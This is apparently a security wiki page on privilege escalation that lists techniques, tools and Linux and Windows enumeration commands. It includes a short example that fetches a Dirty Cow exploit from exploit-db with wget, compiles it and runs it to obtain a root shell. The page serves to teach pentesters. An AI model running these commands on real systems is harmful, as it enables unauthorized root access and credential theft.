Privilege Escalation

Privilege Escalation

Privilege escalation is the process of gaining higher-level permissions or access within a system after an initial foothold has been established. It plays a critical role in post-exploitation, allowing an attacker to move from a limited user account to administrative or root-level access — often enabling lateral movement, persistence, or full system compromise.

Privilege escalation is typically divided into two categories: *vertical escalation* (gaining higher privileges) and *horizontal escalation* (gaining access to resources or accounts of equal privilege).

Operational Context

Privilege escalation typically follows successful Initial Access, especially when the initial compromise grants access only to limited user accounts.

This phase is crucial for:

• Achieving administrative control (root, SYSTEM)
• Enabling credential extraction and lateral movement
• Bypassing sandboxed or containerized environments
• Establishing persistence mechanisms (e.g., registry, startup tasks)

Vertical Privilege Escalation

Vertical escalation involves moving from a low-privileged account (e.g., www-data, local user) to a higher-privileged one (e.g., Administrator, SYSTEM, or root).

Common Techniques

• Exploiting kernel or driver vulnerabilities
• Abusing misconfigured SUID/SGID binaries (Linux)
• Misusing weak or world-writable service files
• Leveraging unquoted service paths (Windows)
• DLL hijacking or service misconfiguration
• Stealing credentials from memory or config files
• Abusing scheduled tasks or cron jobs
• Exploiting insecure file permissions or ownership
• Leveraging token impersonation or privilege tokens (Windows)
• Dumping and cracking password hashes
• Abusing Linux capabilities (e.g., cap_sys_admin)
• Escaping weakly isolated Docker or LXC containers
• Exploiting insecure ACLs or lack of integrity controls

Tools

• linPEAS (automated privilege escalation enumeration on Linux)
• winPEAS (automated privilege escalation enumeration on Windows)
• Seatbelt (Windows enumeration tool focused on privilege escalation)
• PowerUp (PowerShell tool for Windows privilege escalation)
• Watson (detects privilege escalation vectors on Windows)
• BeRoot (privilege escalation auditor for Linux, MacOS, and Windows)
• Linux Exploit Suggester (suggests kernel exploits)
• Windows Exploit Suggester (suggests local exploits for Windows)
• g0tmi1k's privesc checklist (manual enumeration and exploitation list)

Automated Exploitation Frameworks

• Metasploit (post modules for local privesc on Windows and Linux)
• Exploit-DB SearchSploit (search for local exploits by kernel or OS version)
• Evil-WinRM (post-exploitation over WinRM)

Horizontal Privilege Escalation

Horizontal escalation involves accessing other accounts, sessions, or resources at the same privilege level, typically through impersonation, session hijacking, or misconfigured file access.

Common Techniques

• Reading other users’ sensitive files due to improper permissions
• Accessing SSH keys, config files, or tokens
• Hijacking user sessions (e.g., TTY snooping or credential reuse)
• Exploiting insecure file-sharing configurations (e.g., SMB shares)
• Abuse of API tokens or database credentials found in cleartext

Tools

• pspy (monitors Linux processes to detect privilege-related activity)
• ls -la /home/ (manual check for exposed user data)
• ssh-agent hijacking scripts
• procmon (process monitor for live file and registry activity on Windows)
• mimikatz (extracts passwords, hashes, and tokens from memory)

Enumeration Checklists

Linux Enumeration Commands

Purpose	Command
SUID/SGID binaries	find / -perm -4000 2>/dev/null
Kernel version	uname -a
Environment variables	env
Running processes	ps aux
Installed packages (Debian)	dpkg -l
Installed packages (Red Hat)	rpm -qa
Writable directories	find / -writable 2>/dev/null
Cron jobs	cat /etc/crontab
User info	cat /etc/passwd
Group info	cat /etc/group
OS version info (Generic)	cat /etc/issue
OS version info (All common release files)	cat /etc/*-release
OS version (Debian based)	cat /etc/lsb-release
OS version (Red Hat based)	cat /etc/redhat-release
Kernel version & architecture	cat /proc/version # Shows detailed kernel version and build info uname -a # Displays all system info including kernel name and architecture uname -mrs # Prints kernel name, version, and hardware name rpm -q kernel # Lists installed kernel packages (RPM-based systems) dmesg | grep Linux # Extracts kernel-related boot messages ls /boot | grep vmlinuz- # Lists available kernel images in /boot

Windows Enumeration Commands

Purpose	Command
Whoami and privileges	whoami /priv
Local groups	net localgroup administrators
Services (CMD)	sc query
Services (PowerShell)	Get-Service
Startup registry keys	reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Scheduled tasks	schtasks /query
Installed programs	wmic product get name
Environment variables	set
File permissions (CMD)	icacls
File permissions (Sysinternals)	accesschk

Example: Local Kernel Exploit (Linux)

# Download and compile local privilege escalation exploit (example: Dirty Cow variant)
wget https://www.exploit-db.com/download/40839 -O exploit.c
gcc exploit.c -o exploit
./exploit

# Output: spawns root shell if successful

Websites & References

• GTFOBins (trusted repo of SUID/privilege escalation via Linux binaries)
• LOLBAS (Living Off The Land Binaries and Scripts for Windows privilege escalation)
• hacktricks.xyz (comprehensive privilege escalation techniques for Linux and Windows)
• PEASS-ng GitHub (official PEAS suite repository)
• FuzzySecurity Windows Privesc Guide
• rebootuser's Linux privesc cheat sheet

See Also

• Initial Access
• Linux Post-Exploitation
• Windows Post-Exploitation
• Persistence
• Credential Dumping
• Exploitation Tools